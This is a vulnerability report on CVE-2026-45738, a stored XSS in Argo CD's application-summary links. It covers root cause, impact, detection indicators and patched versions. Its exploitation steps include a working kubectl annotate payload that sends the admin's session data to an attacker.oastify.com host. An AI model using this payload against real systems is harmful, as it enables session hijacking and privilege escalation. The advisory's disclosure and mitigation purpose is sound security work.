CVE-2026-45738: 
Argo CD vulnerability analysis and mitigation

CVE-2026-45738 is a stored Cross-Site Scripting (XSS) vulnerability in Argo CD that enables developer-to-admin privilege escalation via malicious link annotations. Users with application write access can set link.argocd.argoproj.io/* annotations containing javascript: URIs using a pipe-separator trick, which are rendered as unvalidated anchor href values in the Application Summary tab. Affected versions include all Argo CD releases prior to 3.2.12, 3.3.0–3.3.9, and 3.4.0–3.4.1. The vulnerability was disclosed on May 13, 2026, and carries a CVSS v3.1 base score of 8.7 (High) per Feedly/NVD data, or 7.3 (High) per the GitHub advisory (GitHub Advisory).

The root cause is improper neutralization of user-controlled input rendered as HTML anchor href values (CWE-79). In ui/src/app/applications/components/application-summary/application-summary.tsx, annotation values are split on the pipe character (|), with parts[0] used as the visible link label and parts[1] used directly as the href — without invoking the existing isValidURL() validation function that is correctly applied in the ApplicationURLs component. React 16.x does not block javascript: URIs in href attributes (protection was added in React 19), and Argo CD's default Content Security Policy only sets frame-ancestors 'self' with no script-src or connect-src directives, providing no XSS mitigation. An attacker with developer-level RBAC (applications, *, */*, allow) can craft an annotation such as link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch(...) that appears as a legitimate link while embedding a malicious payload (GitHub Advisory, Patch Commit).

Successful exploitation results in stored XSS that persists in the Kubernetes Application resource until manually removed, enabling session hijacking of any higher-privileged user (e.g., admin) who views the Summary tab and clicks the malicious link. The injected JavaScript executes at the Argo CD origin with full same-origin access, allowing credentialed fetch() calls to all Argo CD APIs using the victim's authenticated session — enabling exfiltration of session tokens, user information, secrets, and the ability to perform any administrative action on behalf of the victim. This constitutes a full developer-to-admin privilege escalation with high confidentiality and integrity impact and no availability impact (GitHub Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including a complete step-by-step attack sequence with a working kubectl annotate command and out-of-band exfiltration payload tested against Argo CD v3.3.8. The NVD SSVC assessment classifies exploitation status as "poc" (proof-of-concept available). There is no current evidence of in-the-wild exploitation. The EPSS score is approximately 0.037% (low probability of near-term exploitation). The vulnerability is not listed in the CISA KEV catalog as of the time of this report. Exploitation requires an authenticated user with application write access and social engineering to induce an admin to click the malicious link (GitHub Advisory).

1. Obtain developer access: Acquire an Argo CD account with application write access (RBAC: p, role:developer, applications, *, */*, allow) on a vulnerable instance running Argo CD < 3.2.12, 3.3.0–3.3.9, or 3.4.0–3.4.1.
2. Craft malicious annotation: Construct a link.argocd.argoproj.io/* annotation using the pipe-separator trick to embed a javascript: URI behind a legitimate-looking label:

kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://attacker.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

3. Wait for admin interaction: The annotation renders in the Application Summary tab as a link labeled "GitHub Repo" — the javascript: payload is invisible to the victim. Wait for an admin or operator to open the Summary tab of the compromised application.
4. Trigger JavaScript execution: When the admin clicks the link, the javascript: URI executes in the Argo CD origin context within the admin's authenticated browser session.
5. Exfiltrate session data: The injected script calls /api/v1/session/userinfo with the admin's credentials and sends the base64-encoded response to an attacker-controlled server (e.g., Burp Collaborator), yielding the admin session token and user details for further API abuse (GitHub Advisory).

• Kubernetes Annotations: Presence of link.argocd.argoproj.io/* annotations on Argo CD Application resources containing javascript:, data:, or vbscript: URI schemes, or pipe-separated values where the second segment uses these schemes (e.g., GitHub Repo|javascript:...).
• Network: Unexpected outbound HTTP requests from a user's browser to external domains (e.g., Burp Collaborator, oastify.com, or unknown hosts) immediately after interacting with the Argo CD UI Summary tab; these may appear in browser developer tools or proxy logs.
• Argo CD API Logs: Unusual calls to /api/v1/session/userinfo or other sensitive API endpoints originating from browser sessions shortly after Summary tab access, particularly if followed by no corresponding UI action.
• Audit Logs: Argo CD audit events showing annotation modifications (link.argocd.argoproj.io/*) by lower-privileged users (developer role) on applications they manage, especially if the annotation value contains | separators.
• Browser/Proxy: no-cors fetch requests to external domains from the Argo CD web origin, which may be captured in network monitoring or WAF logs (GitHub Advisory).

Upgrade Argo CD to the patched versions: 3.2.12, 3.3.10, or 3.4.2, depending on your current release branch. The fix adds isValidURL() validation in application-summary.tsx to filter out javascript:, data:, and vbscript: URIs before rendering annotation values as href attributes, and adds server-side URL validation in controller/cache/info.go (Patch Commit, v3.2.12 Release). As an interim workaround, restrict application write access (link.argocd.argoproj.io/* annotation capability) to fully trusted users only, and audit existing Application resources for malicious annotations using kubectl get applications -n argocd -o json | jq '.items[].metadata.annotations' (GitHub Advisory).

The vulnerability was discovered and reported by Jan Kahmen of turingpoint.de, and the GitHub Security Advisory was published by Argo CD maintainer crenshaw-dev on May 13, 2026. The advisory received attention from vulnerability tracking platforms including Vulners, VulDB, and OSV shortly after disclosure. No significant broader media coverage or notable social media commentary beyond standard vulnerability tracking has been identified at this time (GitHub Advisory).